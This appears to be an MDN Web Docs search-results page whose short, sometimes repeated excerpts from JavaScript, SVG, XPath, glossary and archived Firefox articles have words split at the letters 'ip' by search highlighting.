iption global whether or not to test the regular expression against all possible matches in a string, or only against the first. ignorecase whether or not to ignore case while attempting a match in a string. lastindex the index at which to start the next match. multiline whether or not to search in strings across mult
iple lines. source the ...
...And 4 more matches
SyntaxError: unterminated string literal - JavaScript
escape sequences work in strings created with either single or double quotes. ...
..." occurs when there is an unterminated string somewhere. string literals must be enclosed by single (') or double (") quotes. message syntaxerror: unterminated string constant (edge) syntaxerror: unterminated string literal (firefox) error type syntaxerror what went wrong? there is an unterminated string somewhere. string literals must be enclosed by single (') or double (") quotes. ...
...e (') or double (") quotes. javascr
ipt makes no distinction between single-quoted strings and double-quoted strings. escape sequences work in strings created with either single or double quotes. to fix this error, check if: you have opening and closing quotes (single or double) for your string literal, you have escaped your string literal correctly, your string literal isn't split across mult
iple lines. examples mult
iple lines you can't split a string across mult
iple lines like this in javascr
ipt: var longstring = 'this is a very long string which needs to wrap across mult
iple lines because otherwise my code is unreadable.'; // syntaxerror: unterminated string literal instead, use the + operator, a backslash, or template literals. the + operator...
...And 4 more matches
Default parameters - JavaScript
zed with default values if no value or undefined is passed. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...alues if no value or undefined is passed. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...tements } descr
iption in javascr
ipt, function parameters default to undefined. however, it's often useful to set a different default value. this is where default parameters can help. in the past, the general strategy for setting defaults was to test parameter values in the function body and assign a value if they are undefined. in the following example, if no value is provided for b when mult
iply is called, b's value would be undefined when evaluating a * b and mult
iply would return nan. ...
...And 4 more matches
Rest parameters - JavaScript
the rest parameter syntax allows us to represent an indefinite number of arguments as an array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax function f(a, b, ...theargs) { // ... } descr
iption a function's last parameter can be prefixed with ... which will cause all remaining (user supplied) arguments to be placed within a "standard" javascr
ipt array. only the last parameter can be a "rest parameter". function myfun(a, b, ...manymoreargs) { console.log("a", a) console.log("b", b) console.log("manymoreargs", manymoreargs) } myfun("one", "two", "three", "four", "five", "six") // console outp...
...] argument length since theargs is an array, a count of its elements is given by the length property: function fun1(...theargs) { console.log(theargs.length) } fun1() // 0 fun1(5) // 1 fun1(5, 6, 7) // 3 ordinary parameter and rest parameters in the next example, a rest parameter is used to collect all parameters after the first into an array. ...
...s given by the length property: function fun1(...theargs) { console.log(theargs.length) } fun1() // 0 fun1(5) // 1 fun1(5, 6, 7) // 3 ordinary parameter and rest parameters in the next example, a rest parameter is used to collect all parameters after the first into an array. ...
...And 4 more matches
Array.prototype.reduce() - JavaScript
rent element being processed in the array. starts from index 0 if an initialvalue is provided. otherwise, it starts from index 1. array optional the array reduce() was called upon. initialvalue optional a value to use as the first argument to the first call of the callback. ...
... upon. initialvalue optional a value to use as the first argument to the first call of the callback. if no initialvalue is supplied, the first element in the array will be used as the initial accumulator value and sk
ipped as currentvalue. calling reduce() on an empty array without an initialvalue will throw a typeerror. return value the single value that results from the reduction. descr
iption the reduce() method executes the callback once for each assigned value present in the array, taking four arguments: accumulator currentvalue currentindex array the first time the callback is called, accumulator and currentvalue can be one of two values. if initialvalue is provided in the call to reduce(), then accumulator will be equal to initialvalue, and currentvalue will be equal ...
... is provided in the call to reduce(), then accumulator will be equal to initialvalue, and currentvalue will be equal to the first value in the array. if no initialvalue is provided, then accumulator will be equal to the first value in the array, and currentvalue will be equal to the second. note: if initialvalue is not provided, reduce() will execute the callback function starting at index 1, sk
ipping the first index. if initialvalue is provided, it will start at index 0. if the array is empty and no initialvalue is provided, typeerror will be thrown. if the array only has one element (regardless of position) and no initialvalue is provided, or if initialvalue is provided but the array is empty, the solo value will be returned without calling callback. it is almost always safer to prov...
...And 4 more matches
Array.prototype.forEach() - JavaScript
hisarg]) parameters callback function to execute on each element. it accepts between one and three arguments: currentvalue the current element being processed in the array. index optional the index currentvalue in the array. array optional the array foreach() was called upon. thisarg optional value to use as this when executing callback. return value undefined. descr
iption foreach() calls a provided callback function once for each element in an array in ascending order. it is not invoked for index properties that have been deleted or are uninitialized. (for sparse arrays, see example below.) callback is invoked with three arguments: the value of the element the index of the element the array object being traversed if a thisarg parameter is provided to ...
...array after the call to foreach() begins will not be visited by callback. if existing elements of the array are changed or deleted, their value as passed to callback will be the value at the time foreach() visits them; elements that are deleted before being visited are not visited. if elements that are already visited are removed (e.g. using shift()) during the iteration, later elements will be sk
ipped. (see this example, below.) foreach() executes the callback function once for each array element; unlike map() or reduce() it always returns the value undefined and is not chainable. the typical use case is to execute side effects at the end of a chain. foreach() does not mutate the array on which it is called. (however, callback may do so) there is no way to stop or break a foreach() loop...
...er to display the content of an array in the console, you can use console.table(), which prints a formatted version of the array. the following example illustrates an alternative approach, using foreach(). the following code logs a line for each element in an array: function logarrayelements(element, index, array) { console.log('a[' + index + '] = ' + element) } // notice that index 2 is sk
ipped, since there is no item at // that position in the array... [2, 5, , 9].foreach(logarrayelements) // logs: // a[0] = 2 // a[1] = 5 // a[3] = 9 using thisarg the following (contrived) example updates an object's properties from each entry in the array: function counter() { this.sum = 0 this.count = 0 } counter.prototype.add = function(array) { array.foreach((entry) => { this.sum +...
...And 4 more matches
Date.parse() - JavaScript
ring representing a simplification of the iso 8601 calendar date extended format. (other formats may be used, but results are implementation-dependent.) return value a number representing the milliseconds elapsed since january 1, 1970, 00:00:00 utc and the date obtained by parsing the given string representation of a date. if the argument doesn't represent a valid date, nan is returned. descr
iption the parse() method takes a date string (such as "2011-10-10t14:48:00") and returns the number of milliseconds since january 1, 1970, 00:00:00 utc. this function is useful for setting date values based on string values, for example in conjunction with the settime() method and the date object. date time string format the standard string representation of a date time string is a simplificati...
...lliseconds since january 1, 1970, 00:00:00 utc. this function is useful for setting date values based on string values, for example in conjunction with the settime() method and the date object. date time string format the standard string representation of a date time string is a simplification of the iso 8601 calendar date extended format. (see the section date time string format in the ecmascr
ipt specification for more details.) for example, "2011-10-10" (date-only form), "2011-10-10t14:48:00" (date-time form), or "2011-10-10t14:48:00.000+09:00" (date-time form with milliseconds and time zone) can be passed and will be parsed. when the time zone offset is absent, date-only forms are interpreted as a utc time and date-time forms are interpreted as local time. while time zone specifiers ...
... of milliseconds between january 1, 1970 00:00:00 utc and the point in time represented by the argument or nan. because parse() is a static method of date, it is called as date.parse() rather than as a method of a date instance. fall-back to implementation-specific date formats this section contains implementation-specific behavior that can be inconsistent across implementations. the ecmascr
ipt specification states: if the string does not conform to the standard format the function may fall back to any implementation-specific heuristics or implementation-specific parsing algorithm. unrecognizable strings or dates containing illegal element values in iso formatted strings shall cause date.parse() to return nan. however, invalid values in date strings not recognized as simplified iso fo...
...And 4 more matches
Date - JavaScript
this date and time is the same as the unix epoch, which is the predominant base value for computer-recorded date and time values. ...
...this date and time is the same as the unix epoch, which is the predominant base value for computer-recorded date and time values. ...
... date objects represent a single moment in time in a platform-independent format. date objects contain a number that represents milliseconds since 1 january 1970 utc. tc39 is working on temporal, a new date/time api. read more about it on the igalia blog and fill out the survey. it needs real-world feedback from web developers, but is not yet ready for production use! descr
iption the ecmascr
ipt epoch and timestamps a javascr
ipt date is fundamentally specified as the number of milliseconds that have elapsed since midnight on january 1, 1970, utc. this date and time is the same as the unix epoch, which is the predominant base value for computer-recorded date and time values. note: it's important to keep in mind that while the time value at the heart of a date object is utc, the basic m...
...And 4 more matches
Function.prototype.bind() - JavaScript
ect. if no arguments are provided to bind , or if the thisarg is null or undefined, the this of the executing scope is treated as the thisarg for the new function. arg1, arg2, ...argn optional arguments to prepend to arguments provided to the bound function when invoking func. return value a copy of the given function with the specified this value, and initial arguments (if provided). descr
iption the bind() function creates a new bound function, which is an exotic function object (a term from ecmascr
ipt 2015) that wraps the original function object. calling the bound function generally results in the execution of its wrapped function. a bound function has the following internal properties: [[boundtargetfunction]] the wrapped function object [[boundthis]] the value that is alwa...
...enerally best to go with the first option. ...
... // internal iscallable function throw new typeerror('function.prototype.bind - ' + 'what is trying to be bound is not callable'); } return function(){ var funcargs = args.concat(slice.call(arguments)) return thatfunc.apply(thatarg, funcargs); }; }; })(); you can partially work around this by inserting the following code at the beginning of your scr
ipts, allowing use of much of the functionality of bind() in implementations that do not natively support it. // yes, it does work with `new (funca.bind(thisarg, args))` if (!function.prototype.bind) (function(){ var arrayprototypeslice = array.prototype.slice; function.prototype.bind = function(otherthis) { if (typeof this !== 'function') { // closest thing possible to the ecmascr
ip...
...And 4 more matches
Intl - JavaScript
the intl object is the namespace for the ecmascr
ipt internationalization api, which provides language sensitive string comparison, number formatting, and date and time formatting. the intl object provides access to several constructors as well as functionality common to the internationalization constructors and other language sensitive functions. constructor properties intl.collator() constructor for collators, which are objects that enable language-sensitive string comparison. intl.datetimeformat() constructor for objects that enable language-sensitive date and time formatting. intl.displaynames() constructor for objects that enable the consistent translation of language, region and scr
ipt display names. intl.listformat() constructor for objects that enable language-sensitive li...
...requested locale(s) against the locales they support using an algorithm specified in the options.localematcher property. locales argument the locales argument requests that a particular locale (or a locale from a list of them) be considered for use in a given operation. a single locale may be specified by either an intl.locale object or a string that is a unicode bcp 47 locale identifier. mult
iple locales may be specified (and a best-supported locale determined by evaluating each of them in order and comparing against the locales supported by the implementation) by passing an array (or array-like object, with a length property and corresponding indexed elements) whose elements are either intl.locale objects or values that convert to unicode bcp 47 locale identifier strings. if the local...
... by passing an array (or array-like object, with a length property and corresponding indexed elements) whose elements are either intl.locale objects or values that convert to unicode bcp 47 locale identifier strings. if the locales argument is not provided or is undefined, the runtime's default locale is used. ...
...And 4 more matches
Object.defineProperties() - JavaScript
ct, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.defineproperties(obj, props) parameters obj the object on which to define or modify properties. props an object whose keys represent the names of properties to be defined or modified and whose values are objects describing those properties. each value in props must be either a data descr
iptor or an accessor descr
iptor; it cannot be both (see object.defineproperty() for more details). data descr
iptors and accessor descr
iptors may optionally contain the following keys: configurable true if and only if the type of this property descr
iptor may be changed and if the property may be deleted from the corresponding object. defaults to false. enumerable true if and only if th...
...sor descr
iptors may optionally contain the following keys: configurable true if and only if the type of this property descr
iptor may be changed and if the property may be deleted from the corresponding object. defaults to false. enumerable true if and only if this property shows up during enumeration of the properties on the corresponding object. defaults to false. a data descr
iptor also has the following optional keys: value the value associated with the property. can be any valid javascr
ipt value (number, object, function, etc). defaults to undefined. writable true if and only if the value associated with the property may be changed with an assignment operator. defaults to false. ...
...the function's return value will be used as the value of the property. defaults to undefined. set a function which serves as a setter for the property, or undefined if there is no setter. ...
...And 4 more matches
RegExp.prototype.exec() - JavaScript
the exec() method executes a search for a match in a specified string. returns a result array, or null. javascr
ipt regexp objects are stateful when they have the global or sticky flags set (e.g. /foo/g or /foo/y). they store a lastindex from the previous match. using this internally, exec() can be used to iterate over mult
iple matches in a string of text (with capture groups), as opposed to getting just the matching strings with string.prototype.match(). a newer function has been proposed to simplify matching mult
iple parts of a string (with capture groups): string.prototype.matchall(). if you are executing a match simply to find true or false, use regexp.prototype.test() method or string.prototype.search() instead. the source for this interactive example is stored in a github reposit...
...e if the match succeeds, the exec() method returns an array (with extra properties index and input; see below) and updates the lastindex property of the regular expression object. the returned array has the matched text as the first item, and then one item for each parenthetical capture group of the matched text. if the match fails, the exec() method returns null, and sets lastindex to 0. ...
... the number of possible parenthesized substrings is unlimited. ...
...And 4 more matches
RegExp - JavaScript
the literal notation's parameters are enclosed between slashes and do not use quotation marks. the constructor function's parameters are not enclosed between slashes but do use quotation marks. ...
...n't be recompiled on each iteration. the constructor of the regular expression object--for example, new regexp('ab+c')--results in runtime compilation of the regular expression. use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and obtain it from another source, such as user input. flags in constructor starting with ecmascr
ipt 6, new regexp(/ab+c/, 'i') no longer throws a typeerror ("can't supply flags when constructing one regexp from another") when the first argument is a regexp and the second flags argument is present. a new regexp from the arguments is created instead. when using the constructor function, the normal string escape rules (preceding special characters with \ when included in a string) are necessary.
...string escape rules (preceding special characters with \ when included in a string) are necessary. for example, the following are equivalent: let re = /\w+/ let re = new regexp('\\w+') perl-like regexp properties note that several of the regexp properties have both long and short (perl-like) names. both names always refer to the same value. (perl is the programming language from which javascr
ipt modeled its regular expressions.). see also deprecated regexp properties. constructor regexp() creates a new regexp object. static properties get regexp[@@species] the constructor function that is used to create derived objects. regexp.lastindex the index at which to start the next match. instance properties regexp.prototype.flags a string that contains the flags of the regexp...
...And 4 more matches
WeakRef - JavaScript
if that happens, you can't get the object from a weak reference anymore. ...
...if that happens, you can't get the object from a weak reference anymore. note: please see the avoid where possible section below. correct use of weakref takes careful thought, and it's best avoided if possible. constructor weakref() creates a new weakref object. ...
...turns the weakref object's target object, or undefined if the target object has been reclaimed. avoid where possible correct use of weakref takes careful thought, and it's best avoided if possible. it's also important to avoid relying on any specific behaviors not guaranteed by the specification. when, how, and whether garbage collection occurs is down to the implementation of any given javascr
ipt engine. any behavior you observe in one engine may be different in another engine, in another version of the same engine, or even in a slightly different situation with the same version of the same engine. garbage collection is a hard problem that javascr
ipt engine implementers are constantly refining and improving their solutions to. here are some specific points that the authors of the weakre...
...And 4 more matches
export - JavaScript
the export statement is used when creating javascr
ipt modules to export live bindings to functions, objects, or primitive values from the module so they can be used by other programs with the import statement. bindings that are exported can still be modified locally; when imported, although they can only be read by the importing module the value updates whenever it is updated by the exporting module. exported modules are in strict mode whether you declare them as such or not. the export statement cannot be used in embedded scr
ipts. syntax there are two types of exports: named exports (zero or more exports per module) default exports (one per module) // exporting individual features export let name1, name2, ..., namen; // also var, const export let name1 = ..., name2 = ..., ..., nam...
...assignments with renaming export const { name1, name2: bar } = o; // default exports export default expression; export default function (...) { ... } // also class, function* export default function name1(...) { ... } // also class, function* export { name1 as default, ... }; // aggregating modules export * from ...; // does not set the default export export * as name1 from ...; // draft ecmascr
ipt(r) 2o21 export { name1, name2, ..., namen } from ...; export { import1 as name1, import2 as name2, ..., namen } from ...; export { default } from ...; namen identifier to be exported (so that it can be imported via import in another scr
ipt). descr
iption there are two different types of export, named and default. you can have mult
iple named exports per module but only one default export. e...
... you can't run js modules via a file:// url -- you'll get cors errors. you need to run it via an http server. using the default export if we want to export a single value or to have a fallback value for your module, you could use a default export: // module "my-module.j...
...And 4 more matches
import - JavaScript
the static import statement is used to import read only live bindings which are exported by another module. imported modules are in strict mode whether you declare them as such or not. the import statement cannot be used in embedded scr
ipts unless such scr
ipt has a type="module". bindings imported are called live bindings because they are updated by the module that exported the binding. there is also a function-like dynamic import(), which does not require scr
ipts of type="module". backward compatibility can be ensured using attribute nomodule on the <scr
ipt> tag. syntax import defaultexport from "module-name"; import * as name from "module-name"; import { export1 } from "module-name"; import { export1 as alias1 } from "module-name"; import { export1 , export2 } from "module-name"; impo...
...me to the .js file containing the module. certain bundlers may permit or require the use of the extension; check your environment. only single quoted and double quoted strings are allowed. name name of the module object that will be used as a kind of namespace when referring to the imports. exportn name of the exports to be imported. aliasn names that will refer to the named imports. descr
iption the name parameter is the name of the "module object" which will be used as a kind of namespace to refer to the exports. the export parameters specify individual named exports, while the import * as name syntax imports all of them. below are examples to clarify the syntax. import an entire module's contents this inserts mymodule into the current scope, containing all the exports from the m...
...u would call it like this: mymodule.doalltheamazingthings(); import a single export from a module given an object or value named myexport which has been exported from the module my-module either implicitly (because the entire module is exported) or explicitly (using the export statement), this inserts myexport into the current scope. ...
...And 4 more matches
<clipPath> - SVG: Scalable Vector Graphics
the <cl
ippath> svg element defines a cl
ipping path, to be used by the cl
ip-path property. a cl
ipping path restricts the region to which paint can be applied. conceptually, parts of the drawing that lie outside of the region bounded by the cl
ipping path are not drawn. html,body,svg { height:100% } <svg viewbox="0 0 100 100"> <cl
ippath id="mycl
ip"> <!-- everything outside the circle will be cl
ipped and therefore invisible. --> <circle cx="40" cy="35" r="35" /> </cl
ippath> <!-- the original black heart, for reference --> <path id="heart" d="m10,30 a20,20,0,0,1,50,30 a20,20,0,0,1,90,30 q90,60,50,90 q10,60,10,30 z" /> <!-- only the portion of the red heart inside the cl
ip circle is visible. ...
...!-- everything outside the circle will be cl
ipped and therefore invisible. --> <circle cx="40" cy="35" r="35" /> </cl
ippath> <!-- the original black heart, for reference --> <path id="heart" d="m10,30 a20,20,0,0,1,50,30 a20,20,0,0,1,90,30 q90,60,50,90 q10,60,10,30 z" /> <!-- only the portion of the red heart inside the cl
ip circle is visible. --> <use cl
ip-path="url(#mycl
ip)" xlink:href="#heart" fill="red" /> </svg> /* with a touch of css for browsers who * * implemented the r geometry property. */ @keyframes openyourheart {from {r: 0} to {r: 60px}} #mycl
ip circle { animation: openyourheart 15s infinite; } a cl
ipping path is conceptually equivalent to a custom viewport for the referencing element. thus, it affects the rendering of an elem...
... a touch of css for browsers who * * implemented the r geometry property. */ @keyframes openyourheart {from {r: 0} to {r: 60px}} #mycl
ip circle { animation: openyourheart 15s infinite; } a cl
ipping path is conceptually equivalent to a custom viewport for the referencing element. thus, it affects the rendering of an element, but not the element's inherent geometry. the bounding box of a cl
ipped element (meaning, an element which references a <cl
ippath> element via a cl
ip-path property, or a child of the referencing element) must remain the same as if it were not cl
ipped. by default, pointer-events are not dispatched on cl
ipped regions. ...
...And 4 more matches
<ellipse> - SVG: Scalable Vector Graphics
the <ell
ipse> element is an svg basic shape, used to create ell
ipses based on a center coordinate, and both their x and y radius. note: ell
ipses are unable to specify the exact orientation of the ell
ipse (if, for example, you wanted to draw an ell
ipse tilted at a 45 degree angle), but it can be rotated by using the transform attribute. html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <ell
ipse cx="100" cy="50" rx="100" ry="50" /> </svg> attributes cx the x position of the ell
ipse. value type: <length>|<percentage> ; default value: 0; animatable: yes cy the y position of the ell
ipse. value type: <length>|<percentage> ; default value: 0; animatable: yes rx the radius of the ell
ipse on the x axis. value type: auto|<length>|<pe...
... value type: auto|<length>|<percentage> ; default value: auto; animatable: yes pathlength this attribute lets specify the total length for the path, in user units. ...
...e geometry properties, meaning those attributes can also be used as css properties for that element. ...
...And 4 more matches
Introduction to using XPath in JavaScript - XPath
mozilla implements a fair amount of the dom 3 xpath, which means that xpath expressions can be run against both html and xml documents. the main interface to using xpath is the evaluate function of the document object. document.evaluate this method evaluates xpath expressions against an xml based document (including html documents), and returns a xpathresult object, which can be a single node or a set of nodes. the existing documentation for this method is located at document.evaluate, but it is rather sparse for our needs at the moment; a more comprehensive examination will be given below. ...
...y of the xpathresult object. ...
...erty is requested, so the following code will not work: var paragraphcount = document.evaluate('count(//p)', document, null, xpathresult.any_type, null ); alert( 'this document contains ' + paragraphcount.stringvalue + ' paragraph elements' ); instead, it will return an exception with the code ns_dom_type_error. ...
...And 4 more matches
Forms related code snippets - Archive of obsolete content
here are some <form> related code sn
ippets. date picker (before implementing it in a working environment, please read the note about the const statement compatibility) <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>datepicker example - mdn</title> <scr
ipt type="text/javascr
ipt"> /*\ |*| |*| datepicker example mdndeveloper network |*| |*| https://developer.mozilla.org/docs/code_sn
ippets/forms |*| https://developer.mozilla.org/user:fusionchess |*| |*| this sn
ippet is released under the gnu public license, version 3 or later. |*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| \*/ (function () { function datepicker (otarget) { const otable = document.createelement("table"), ohrow = document.createelem...
... nzindex = 1000; window.addeventlistener ? addeventlistener("load", buildcalendars, false) : window.attachevent ? attachevent("onload", buildcalendars) : (onload = buildcalendars); document.addeventlistener ? document.addeventlistener("mousedown", ondocclick, false) : document.attachevent ? ...
...similar to variables declared with the let statement, constants declared with const will be block-scoped. we used it only for didactic purpos...
...And 3 more matches
Install Scripts - Archive of obsolete content
<< previousnext >> this section describes the install scr
ipt. creating an install scr
ipt note: for firefox extensions, install.js are no longer used. you should create a install.rdf instead. you will usually want some form of control over your install process. for example, you may wish to check versions of files and only install updated files, or perhaps you wish to apply patches to existing files. the install scr
ipt is even flexible enough to allow you to uninstall files. for this reason, installers include an install scr
ipt to handle the installation process. the installer scr
ipt must be called install.js and must be placed at the top level of the installer archive. the scr
ipt will contain javascr
ipt code which calls a number of install functions. in an html document, or ...
...and must be placed at the top level of the installer archive. the scr
ipt will contain javascr
ipt code which calls a number of install functions. in an html document, or a xul document, the window object is the root global object. that means that you can call the methods of the window object with the qualifier before it, which means that window.open() can simply be written open(). in an install scr
ipt, there is no associated window, however the global object will be an install object which contains a number of functions to customize the install process. some of the install object's functions will be described below. the install scr
ipt should take the following steps: initialize the installation by specifying what package and version is being installed. use the install functions to indica...
...rarchy of keys and values. you don't need to know much about it to create xul applications unless you are creating your own xpcom components. what you do need to know for an installation is that the registry stores a set of information about your application, such as the file list and versions. all of this information is stored in a key (and within subkeys) that you provide in the installation scr
ipt (in step 1 mentioned above). this key is structured as directory-like path of the following form: /author/package name replace the word author with your name and replace the package name with the name of the package that you are installing. for example: /xulplanet/find files /netscape/personal security manager the first example is what we'll use for the find files dialog. the second is the ke...
...And 3 more matches
Using JavaScript Generators in Firefox - Archive of obsolete content
var generator; // simple event listener function to pass the received event to the generator. ...
...var generator; // simple event listener function to pass the received event to the generator. ...
...var generator; // simple event listener function to pass the received event to the generator. ...
...And 3 more matches
Microsoft JavaScript extensions - Archive of obsolete content
warning: these apis will only work in microsoft applications, and are not on a standards track. microsoft browsers (internet explorer, and in a few cases, microsoft edge) support a number of special microsoft extensions to the otherwise standard javascr
ipt apis. ...
... warning: these apis will only work in microsoft applications, and are not on a standards track. microsoft browsers (internet explorer, and in a few cases, microsoft edge) support a number of special microsoft extensions to the otherwise standard javascr
ipt apis. ...
... warning: these apis will only work in microsoft applications, and are not on a standards track. microsoft browsers (internet explorer, and in a few cases, microsoft edge) support a number of special microsoft extensions to the otherwise standard javascr
ipt apis. ...
...And 3 more matches
ECMAScript 2015 support in Mozilla - Archive of obsolete content
finally, ecma-262 edition 6 got officially approved and published as a standard on june 17, 2015 by the ecma general assembly. it will also appear as the international industry standard iso/iec 16262:2016. ...
...finally, ecma-262 edition 6 got officially approved and published as a standard on june 17, 2015 by the ecma general assembly. it will also appear as the international industry standard iso/iec 16262:2016. ...
...finally, ecma-262 edition 6 got officially approved and published as a standard on june 17, 2015 by the ecma general assembly. it will also appear as the international industry standard iso/iec 16262:2016. ...
...And 3 more matches
New in JavaScript - Archive of obsolete content
this chapter contains information about javascr
ipt's version history and implementation status for mozilla/spidermonkey-based javascr
ipt applications, such as firefox. ecmascr
ipt versions language resources learn more about the ecmascr
ipt standards on which the javascr
ipt language is based on. ecmascr
ipt 5 support implementation status for the current standard ecma-262 edition 5.1 in mozilla-based engines and products. ecmascr
ipt 2015 support implementation status for the draft ecma-262 edition 6 (es2015) in mozilla-based engines and products. ecmascr
ipt next support implementation status for upcoming ecma-262 features as per the yearly (es2016/es2017/es2018/...) release schedule in mozilla-based engines and products. javascr
ipt versions deprecated ( ). the explicit versioning...
...roducts. ecmascr
ipt next support implementation status for upcoming ecma-262 features as per the yearly (es2016/es2017/es2018/...) release schedule in mozilla-based engines and products. javascr
ipt versions deprecated ( ). the explicit versioning and opt-in of language features was mozilla-specific and are in process of being removed. firefox 4 was the last version which referred to a javascr
ipt version (1.8.5). with new ecma standards, javascr
ipt language features are now often mentioned with their initial definition in ecma-262 editions such as ecmascr
ipt 2015. javascr
ipt was released as version 1.0 in march 1996 in netscape navigator 2.0 and internet explorer 2.0. javascr
ipt 1.1 version sh
ipped in netscape navigator 3.0. released on august 19, 1996. ...
...ferred to a javascr
ipt version (1.8.5). with new ecma standards, javascr
ipt language features are now often mentioned with their initial definition in ecma-262 editions such as ecmascr
ipt 2015. javascr
ipt was released as version 1.0 in march 1996 in netscape navigator 2.0 and internet explorer 2.0. javascr
ipt 1.1 version sh
ipped in netscape navigator 3.0. released on august 19, 1996. javascr
ipt 1.2 version sh
ipped in netscape navigator 4.0-4.05. released on june 11, 1997. javascr
ipt 1.3 version sh
ipped in netscape navigator 4.06-4.7x. released on october 19, 1998. standardization work to be compliant with ecma-262 1st and 2nd edition. javascr
ipt 1.4 version sh
ipped with netscape's server-side javascr
ipt. released in 1999. ...
...And 3 more matches
Cipher suite - MDN Web Docs Glossary: Definitions of Web-related terms
a c
ipher suite is a combination of a key exchange algorithm, authentication method, bulk encryption c
ipher, and message authentication code. in a cryptosystem like tls, the client and server must agree on a c
ipher suite before they can begin communicating securely. ...
... a c
ipher suite is a combination of a key exchange algorithm, authentication method, bulk encryption c
ipher, and message authentication code. in a cryptosystem like tls, the client and server must agree on a c
ipher suite before they can begin communicating securely. ...
... a c
ipher suite is a combination of a key exchange algorithm, authentication method, bulk encryption c
ipher, and message authentication code. in a cryptosystem like tls, the client and server must agree on a c
ipher suite before they can begin communicating securely. ...
...And 3 more matches
Cross-site scripting - MDN Web Docs Glossary: Definitions of Web-related terms
cross-site scr
ipting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code. this code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. these attacks succeed if the web app does not employ enough validation or encoding. the user's browser cannot detect the malicious scr
ipt is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious scr
ipt rewrite the html content. ...
... common web app vulnerability in 2017. these attacks succeed if the web app does not employ enough validation or encoding. the user's browser cannot detect the malicious scr
ipt is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious scr
ipt rewrite the html content. ...
...y in 2017. these attacks succeed if the web app does not employ enough validation or encoding. the user's browser cannot detect the malicious scr
ipt is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious scr
ipt rewrite the html content. ...
...And 3 more matches
Asynchronous JavaScript - Learn web development
in this module we take a look at asynchronous javascr
ipt, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. looking to become a front-end web developer? ...
...his module we take a look at asynchronous javascr
ipt, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. looking to become a front-end web developer? ...
...and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites asynchronous javascr
ipt is a fairly advanced topic, and you are advised to work through javascr
ipt first steps and javascr
ipt building blocks modules before attempting this. if you are not familiar with the concept of asynchronous programming, you should definitely start with the general asynchronous programming concepts article in this module. if you are, then you can probably sk
ip to the introducing asynchronous javascr
ipt module. note: if you are working on a computer/tablet/other devic...
...And 3 more matches
Limitations of frame scripts
even if this is possible, you should not do it and may expect that it could stop working at any time. file i/o should all be done in the chrome process. ...
...even if this is possible, you should not do it and may expect that it could stop working at any time. file i/o should all be done in the chrome process. ...
...even if this is possible, you should not do it and may expect that it could stop working at any time. file i/o should all be done in the chrome process. ...
...And 3 more matches
Leak-hunting strategies and tips
if you can avoid creating cycles in the first place, please do, since it's often hard to be sure to break the cycle in every last case. sometimes these cycles extend through js objects (discussed further below), and since js is garbage-collected, every pointer acts like an owning pointer and the potential for fan-out is larg...
... tools for debugging memory growth that is cleaned up on shutdown diffbloatdump (part of tracemalloc) all allocations linux only? build with --enable-trace-malloc common leak patterns when trying to find a leak of reference-counted objects, there are a number of patterns that could cause the leak: ownersh
ip cycles. the most common source of hard-to-fix leaks is ownersh
ip cycles. if you can avoid creating cycles in the first place, please do, since it's often hard to be sure to break the cycle in every last case. sometimes these cycles extend through js objects (discussed further below), and since js is garbage-collected, every pointer acts like an owning pointer and the potential for fan-out is larger. see bug 106860 and bug 84136 for examples. (is this advice st...
...ny large object graphs that leak go through xpconnect. this can mean there will be xpconnect wrapper objects showing up as owning the leaked objects, but it doesn't mean it's xpconnect's fault (although that has been known to happen, it's rare). debugging leaks that go through xpconnect requires a basic understanding of what xpconnect does. xpconnect allows an xpcom object to be exposed to javascr
ipt, and it allows certain javascr
ipt objects to be exposed to c++ code as normal xpcom objects. when a c++ object is exposed to javascr
ipt (the more common of the two), an xpcwrappednative object is created. this wrapper owns a reference to the native object until the corresponding javascr
ipt object is garbage-collected. this means that if there are leaked gc roots from which the wrapper is reacha...
...And 3 more matches
Rhino JavaScript compiler
overview the javascr
ipt compiler translates javascr
ipt source into java class files. the resulting java class files can then be loaded and executed at another time, providing a convenient method for transferring javascr
ipt, and for avoiding translation cost. note that the top-level functions available to the shell (such as print) are not available to compiled scr
ipts when they are run outside the shell. compiler command line java org.mozilla.javascr
ipt.tools.jsc.main [options] file1.js [file2.js...] where options are: -extends java-class-name specifies that a java class extending the java class java-class-name should be generated from the incoming javascr
ipt source file. each global function in the source file is made a method of the generated class, overriding any methods in ...
...each global function in the source file is made a method of the generated class, implementing any methods in the interface by the same name. -debug -g specifies that debug information should be generated. may not be combined with optimization at an optlevel greater than zero. ...
...is made a method of the generated class, implementing any methods in the interface by the same name. -debug -g specifies that debug information should be generated. may not be combined with optimization at an optlevel greater than zero. -main-method-class classname specify the class name used for main method implementation. the class must have a method matching public static void main(scr
ipt sc, string[] args). -nosource does not save the source in the class file. functions and scr
ipts compiled this way cannot be decompiled. this option can be used to avoid distributing source or simply to save space in the resulting class file. -o outputfile writes the class file to outputfile, which should end in .class and must be a writable filename. -d outputdirectory writes the class...
...And 3 more matches
JS_DecompileScript
return the source code of the scr
ipt or the function. syntax jsstring * js_decompilescr
ipt(jscontext *cx, js::handle<jsscr
ipt*> scr
ipt); name type descr
iption cx jscontext * the context to use to decompile the scr
ipt. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. scr
ipt js::handle<jsscr
ipt*> scr
ipt or function to decompile. descr
iption js_decompilescr
